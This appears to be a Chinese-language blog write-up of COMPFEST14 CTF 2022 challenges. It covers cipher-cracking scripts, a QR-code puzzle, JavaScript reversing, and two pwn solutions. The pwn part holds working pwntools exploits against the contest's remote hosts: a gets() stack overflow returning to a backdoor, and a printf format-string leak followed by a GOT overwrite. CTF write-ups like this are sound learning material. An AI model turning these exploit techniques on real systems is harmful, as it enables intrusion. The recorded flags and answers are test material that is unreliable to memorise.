[compfest14 ctf 2022] 不知道哪国的网站,特别慢

两个都不大会,晚上发现还有一个,这个打开就特别慢.作了两个就算了,心想反正48小时赛,明天再作,可回头一看早就结果是12小时的.而且题特别多

crypto Why Is It So Traditional

这个题将flag分成4段进行加密,4种不同的方法,不过基本都是基于字符的变化,可以直接爆破

import math
from Crypto.Util.number import bytes_to_long


def cc_encrypt(plain: str):
    cipher = ""
    for i in range(len(plain)):
        assert ord(plain[i]) < 128
        if i == len(plain) - 1:
            cipher += plain[i]
        else:
            cipher += chr((ord(plain[i]) + ord(plain[i + 1]) - 2*32) % 94 + 32)
    return cipher

def bc_encrypt(plain: str):
    file = open("lorem.txt", "r")
    tmp = file.read()
    file.close()
    off = 0

    cipher = ""
    for i in range(len(plain)):
        chr = str(bin(ord(plain[i]) - 32))[2:].zfill(7)
        assert len(chr) == 7
        for j in chr:
            while (not tmp[off].isalpha()):
                off += 1
            if j == "1":
                cipher += tmp[off].capitalize()
            else:
                cipher += tmp[off].lower()
            off += 1
    return cipher

def ct_encrypt(plain: str):
    file = open("lorem.txt", "r")
    key = file.read()[0:5].lower()
    file.close()

    cipher = ""
  
    lst = list(plain)
    key_srt = list(key)
    key_srt.sort()

    col = len(key)
    row = math.ceil(len(plain)/col)
    lst = []
 
    for i in range(row):
        tmp = []
        for j in range(col):
            if ((i*col) + j < len(plain)):
                tmp.append(plain[(i*col) + j])
            else:
                tmp.append(" ")
        lst.append(tmp)

    for i in range(col):
        tmp = key.index(key_srt[i])
        for j in range(row):
            cipher += lst[j][tmp]
        
    return cipher

def vc_encrypt(plain: str):
    file = open("lorem.txt", "r")
    key = file.read()[0:5].lower()
    file.close()
    
    cipher = ""
    for i in range(len(plain)):
        assert ord(plain[i]) < 128
        cipher += chr((ord(plain[i]) + ord(key[i % len(key)]) - 64) % 94 + 32)

    return cipher


def encrypt(plain: str):
    cipher = ""
    cipher += cc_encrypt(plain[0:20])
    cipher += bc_encrypt(plain[20:40])
    cipher += ct_encrypt(plain[40:60])
    cipher += vc_encrypt(plain[60:])  
    return bytes_to_long(bytes(cipher, encoding='utf-8'))

def main():
    file = open("flag.txt", "r")
    plain = file.read()
    file.close()
    tmp = encrypt(plain)
    file = open("cipher.txt", "w")
    file.write(str(tmp))
    file.close()

if __name__ == "__main__":
    main()

第一段就是一个算式,直接爆破

ct =9374862801672011569143243493759834651854302741137921000102578544699291979446566751887813872972999250801521524212936699063904227504628445093754152462009521424732471453466670760988265819686759158844634830024884931300588310718332652371519380668768298032642525239961724954547989762210827049115978504990027702198536284151220495702663215797420769364463234386365148116592181273640226624584351853789020390569953735058342276300916599420784350764118742731817689748155602460756332

from Crypto.Util.number import long_to_bytes

c = long_to_bytes(ct)
print(len(c))

c1 = c[:20]
p1 = [0]*20
p1[19] = c[19]
#(ord(plain[i]) + ord(plain[i + 1]) - 2*32) % 94 + 32
for i in range(18,-1,-1):
    for j in range(0x20,127):
        if ((j+p1[i+1])-2*32)%94+32 == c1[i]:
            p1[i] = j 
            break 

print(bytes(p1))

第二段是基于查表的,同样可以直接爆破

c2 = c[20:20+20*7].decode()
p2 = [0]*20
tmp = open("lorem.txt", "r").read()
off = 0
for i in range(20):
    for k in range(0x20,0x7f):
        toff = off
        chr = str(bin(k - 32))[2:].zfill(7)
        cipher = ''
        assert len(chr) == 7
        for j in chr:
            while (not tmp[toff].isalpha()):
                toff += 1
            if j == "1":
                cipher += tmp[toff].capitalize()
            else:
                cipher += tmp[toff].lower()
            toff += 1
        if cipher == c2[i*7: i*7+7]:
            p2[i] = k
            off = toff
            break

print(bytes(p2))

第三段是换顺序,直接用20个字母加密一次,再查表

import math 
def ct_encrypt(plain: str):
    file = open("lorem.txt", "r")
    key = file.read()[0:5].lower()
    file.close()

    cipher = ""
  
    lst = list(plain)
    key_srt = list(key)
    key_srt.sort()

    col = len(key)
    row = math.ceil(len(plain)/col)
    lst = []
 
    for i in range(row):
        tmp = []
        for j in range(col):
            if ((i*col) + j < len(plain)):
                tmp.append(plain[(i*col) + j])
            else:
                tmp.append(" ")
        lst.append(tmp)

    for i in range(col):
        tmp = key.index(key_srt[i])
        for j in range(row):
            cipher += lst[j][tmp]
        
    return cipher

tmp = ct_encrypt('abcdefghijklmnopqrst')
#print(tmp)
t1 = 'abcdefghijklmnopqrst'
t2 = 'dinsafkpejotbglqchmr'
st3 = 20+20*7
c3 = c[st3: st3+20]
p3 = [0]*20
for i in range(20):
    p3[t1.index(t2[i])] = c3[i]

print(bytes(p3))

第四段与第一段类似,可能出题人也整不出其它好的方法了,竟然重了

st3+= 20
c4 = c[st3: ]
p4 = [0]*len(c4)
key = b'lorem'
#cipher += chr((ord(plain[i]) + ord(key[i % len(key)]) - 64) % 94 + 32)
for i in range(len(c4)):
    for j in range(0x20,0x7f):
        if (j + key[i%5] -64)%94 + 32 == c4[i]:
            p4[i] = j 
            break

print(bytes(p4))

b'Great job! COMPFEST14{FiRSt_ST3p_0f_crYPYo_bUT_f4LLeN_t0_diSUS3_70abaaf44b}'

scan_me

前几天作过一个扫二维码的,已经弄好了程序,这个题前半半就直接搞定了.给了828个小二维码.扫出来是0xdh这样的,看上去就是一个字节但显示字母都不是16进制的,先用pyzbar扫出来放文件里

from pyzbar import pyzbar
from PIL import Image

text = ''
for i in range(1,829):
    fname = f"./qr/{i}.png"
    val = pyzbar.decode(Image.open(fname), symbols=[pyzbar.ZBarSymbol.QRCODE])
    text+= val[0].data.decode()[2:]

open('aaa2.txt', 'w').write(text)
print(text)

后来慢慢想,提示是这样的,最后一句有个单词shift,那理解成平移,把这些符号重排了一下,发现前10个从"`_a"开始是10个连续的,后边是6个连续的,大概意思就是16进制的符号平移而来.

Jack and his uncle loves solving puzzles. This morning, Jack's Uncle gave him a stack of card and said:

"In order to solve this, don't scramble the card, scramble the egg"

"Just kidding"

"Bye, shift you latter"

所以第二步就解出来了


cipher = b'ghd_ctcf_s_p_p_p_______schcgccda_____`ra_____`ra_`________dcebuctg_____`_bchccc`dcfghrtshrcsetpcb_`_gddu_scgqsbcbfrgd`rrhdfb_bbgcp`ua_`aarabg`stardrqeg`ec`aahcbcqehucepg`crbqhuapashdtprfddetabftaetbhu`ugag_cgh`aacdgp`cahdapccgh`aacdgpurcgrttesatf`stqq``pb_qf__te`efhqubscupfrggqh`_schharhegceqbecbtsegfffqfpqcghahrrtscahua`aecdqhf_ebccqdprdph_bg`usshs`sr_`u`ud_chsaaaucuptgeq`eqtgaqeqg`u`edfhq_cth`hfaarbtaguq`eqegbs__rcthr`bpcdbtbbqhghedbhfabdqcbgprastbssg_bghcusc___ub_hbpcddthcdrdbshhd_qq``qpscfcbcuprfbhtesseusgtuudetcauaar`pbcr_sg`c_fpa`cepesfpb_rruudbscdbththrbspgdh_u__u`ethtctabqudpguddftcgtcefdabs_q`_`ef___r__`_sus``cg_te`bhutq`urh_rgaahq_g`eqhugd`eaqdhrucshscpctbrdqca``q`aqhhbercb__rhtrgfcpdaqcbbpt_dagtfshqaa`h`cdpp_sa`hacffqchshbdh__schbeacuapbtcsgqcerurh_sfedhb_fpuhcagh`sqdpcsbeacqargaepfctftegcactg_qgpcpgqegsfcrpgfccutgqhrrs__fgchgespbccqpsqac_hphdserfdhbpcddtgbbrrebagudqsduqcrrgeb`udrdcsqgqurgahreubctq___tubrs`qefstfbfdqfhcgt`frfttcchsaapuc`etrtgfuragb`arpggfgpuhqddcuhhbtpbah`cfshtescahgabdhtdshfqabtsfeppptscdftchpt_egc_deeau_qb_fepq_`qbdhbd`uduhsppdbtcpdrghr_dfhaefseuube`fd`prrqub`_sg_erpes`htubfqgpbrhusruerqsaf`fcdpr``scusr_fqhbp_dpadgaebarqbepf_efasubttctteqthhfddhbha_sghsrchhhgddsgs_geupsa`qruhefebbfr`daaebsffb___t_sgcsuupudbtcqdrgcute`gcqsu`tfdpddgaeuadqqastfbrsrdhhqfdqt`u`rsupsbfdgpqr`gdhttqh_ac_hruabdthq`fbubt`g_sd`_tuqpaqasuaag`utpbafphbbd_ug_fgtf_redhrcgq`crtcffecehqfstusgppqudrhcqqs`qgfdhftcgtcufpcsuh_qeucqq`uth_`scpq`ugus_ahuaghrhcuttqh_a`ehhtegf`egqpubf`praqqs`bfcts_ahuadptcfeht`pc_tpeetrppfr__uqccchuhh_rghsecbu`cppgbahpqr_rs_edbctfsgecth`aacdgp`cahdapccgh`aacdgp`cdhtdauc_uft_qga_dcprgf________chcdctccptcae_ga'

a = b'_`abcdefghpqrstu'
b = b'0123456789abcdef'
#按照提示shift \x89PNG
trantab = bytes.maketrans(c, b)
d = cipher.translate(trantab)
open('ccc.png', 'wb').write(bytes.fromhex(d.decode()))

然后生成的是一个png图,打不开,用010打开看头有问题1a0a这里是0a0a,改过来出现一部分,然后再改数据区的长度,从103改为303就得到最后的二维码了,再扫一下即可.

from pyzbar import pyzbar
from PIL import Image

#手工修改被破坏的头 0A->1A 数据块长度103->303

val = pyzbar.decode(Image.open('ccc.png'), symbols=[pyzbar.ZBarSymbol.QRCODE])
text= val[0].data.decode()

print(text)
#在结果前加CO补全flag头
#COMPFEST14{Th1s_1S_Th3_c0rrr3ct_Sc4n_M3_Fl4g_5425470cc0}

pwn Smart Identifier

第一个pwn题白送

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[80]; // [rsp+0h] [rbp-50h] BYREF

  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts("Tell me about yourself");
  gets();
  if ( strlen(s) > 0x40 )
  {
    puts("You talk too much");
    exit(0);
  }
  puts("Who are you");
  return 0;
}

就一句话,gets直接溢出,还有后门.这就不用本地测了,直接远程

from pwn import *

p = remote('13.212.50.63',11111)

context.log_level = 'debug'
p.sendlineafter(b'Tell me about yourself', b'\x00'*0x58+ p64(0x4011d6)*2)

p.recvline()
p.recvline()
p.recvline()

pwn Mail

第二个题,这种第一次见,不过难度不大,程序可以写信息和输出,输出的时候用的无格式参的printf

但这个都是在一个libmail.so里,这种第一次见,不过跟libc道理一样在主程序里的got表会有这个程序的函数地址

unsigned __int64 __fastcall sendMail(__int64 a1)
{
  int v2; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("\nThis app can only send a mail three days to the past maximum.");
  puts("How many days into the past do you want to send this mail?");
  printf("> ");
  __isoc99_scanf("%d%*c", &v2);
  if ( v2 <= 3 )
  {
    if ( v2 >= 0 )
    {
      puts("Enter your mail content");
      printf("> ");
      read(0, (void *)(8 * (3 - v2) + a1), 8uLL);
    }
    else
    {
      puts("You can't send a mail into the future");
    }
  }
  else
  {
    puts("What did i just say :/");
  }
  return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 __fastcall readMail(__int64 a1)
{
  int v2; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("\nThis app can only read a mail three days to the past maximum.");
  puts("which mail do you want to read? (input how many days into the past)");
  printf("> ");
  __isoc99_scanf("%d%*c", &v2);
  if ( v2 <= 3 )
  {
    if ( v2 >= 0 )
      printf((const char *)(8 * (3 - v2) + a1));// printf
    else
      puts("Are you trying to read a mail from the future?");
  }
  else
  {
    puts("Can't read that mail anymore :(");
  }
  return __readfsqword(0x28u) ^ v3;
}

所以这个思路也比较简单,先用printf漏洞得到函数库的加载地址,然后把函数库里的后门写到exit的got表里

不过在这里浪费了不少时间,太晚了睡觉不弄了.网站特别慢,运行会报超时或直接中断

from pwn import *

p = remote('13.212.50.63',11002)
#p = process('./p2')
context.log_level = 'debug'

elf = ELF('./p2')
libc_elf = ELF('./libc-2.27.so')
libmail_elf = ELF('./libtcmail.so')

one = [0x4f2a5, 0x4f302, 0x10a2fc]
'''
0000| 0x7fffffffdef0 --> 0x0                                 <---------6
0008| 0x7fffffffdef8 --> 0x7fffffffdf20 --> 0x0 
0016| 0x7fffffffdf00 --> 0x0 
0024| 0x7fffffffdf08 --> 0x8a9f02f8499d1900 
0032| 0x7fffffffdf10 --> 0x7fffffffdf50 --> 0x401330 (<__libc_csu_init>:        endbr64)   <--10
0040| 0x7fffffffdf18 --> 0x401306 (<main+93>:   cmp    DWORD PTR [rbp-0x4],0x3)   <-----11
0048| 0x7fffffffdf20 --> 0x0                                <----------12  #3
0056| 0x7fffffffdf28 --> 0x0 
0064| 0x7fffffffdf30 --> 0x0 
0072| 0x7fffffffdf38 ("%6$p%7$p0\340\377\377\377\177")      <----------15
0080| 0x7fffffffdf40 --> 0x7fffffffe030 --> 0x1 
0088| 0x7fffffffdf48 --> 0x200000000 
0096| 0x7fffffffdf50 --> 0x401330 (<__libc_csu_init>:   endbr64)
0104| 0x7fffffffdf58 --> 0x7ffff7821c87 (<__libc_start_main+231>:       mov    edi,eax)   <------19
'''

def save(idx, msg):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'> ', str(idx).encode())
    p.sendafter(b'> ', msg)

def run(idx):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'> ', str(idx).encode())

save(3, p64(elf.got['sendMail']))
save(0, b'%12$s,')
run(0)
libmail_base = u64(p.recv(6).ljust(8, b'\x00')) - libmail_elf.sym['sendMail']
libmail_elf.address = libmail_base
print('mail:', hex(libmail_base))

#got.exit -> win
win = p64(libmail_elf.sym['win'])
#win = p64(libc_base + one[2])
for i in range(6):
    save(3, p64(elf.got['exit'] + i))
    pay = f"%{win[i]}c%12$hhn".encode()
    save(2, pay[:8])
    save(1, pay[8:])
    run(2)

p.sendlineafter(b'> ', b'3')
p.recvline()
p.recvline()

p.interactive()

rev baby JaSon adler

不知道是个啥语言,看上去就是js ,加密就4句

enc=[];holder1=[];holder2=[];fl4g.split("").map((x,y)=>{!y?holder1[y]=x.charCodeAt(0)+1:holder1[y]=((x.charCodeAt(0)+holder1[y-1])%(2**9<<16))});holder1.map((zZ,hh)=>{!hh?holder2[hh]=holder1[hh]:holder2[hh]=(zZ+holder1[hh-1])%(2**9<<8)});enc=holder1.concat(holder2);enc.map((wkwk,zz)=>{enc[zz]=String.fromCharCode(wkwk)});enc=enc.join("")

正理一下就4句

fl4g.split("").map(	(x,y)=>{!y?holder1[y]=x.charCodeAt(0)+1: holder1[y]=((x.charCodeAt(0)+holder1[y-1])%(2**9<<16))	});
holder1.map((zZ,hh)=>{!hh?holder2[hh]=holder1[hh]:holder2[hh]=(zZ+holder1[hh-1])%(2**9<<8)});
enc=holder1.concat(holder2);
enc.map((wkwk,zz)=>{enc[zz]=String.fromCharCode(wkwk)});

 这里用到的map显然x是值y是索引,后边三元运算符相当于if else 也就没别的了,第一句是把flag后一个加上前一个(第1个加1),

第二是从这个结果再生成一个然后加在后边,显然有前边后边没用

最后输出,看到密文有点麻烦给整成utf8了

直接先转过来成数字,再作个简单的减法,那个取模也没用,太大了

def utf8_u16(s):
    i = 0
    t = []
    while i<len(s):
        if s[i]>>7 == 0:
            t.append(s[i])
            i+=1
        elif s[i]>>5 == 6:
            t.append(((s[i]&0x1f)<<6) | (s[i+1]&0x3f))
            i+=2
        else:
            t.append(((s[i]&0xf)<<12)|((s[i+1]&0x3f)<<6)|(s[i+2]&0x3f))
            i+=3
    return t 
    
cipher = open('enc_out.txt','rb').read()

c = utf8_u16(cipher) #utf8转整
print(len(c),c) #118

holder1 = c[:59]
holder2 = c[59:]

for i in range(58,0,-1):
    holder1[i] = (holder1[i]-holder1[i-1])%(2**9<<16)
holder1[0]-=1
print(bytes(holder1))
#COMPFEST14{4dler_ch3ccs0me_1s_f4s7er_7h4n_cRC!!_0240f11cc5}

后边题有时间再作,先存存.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值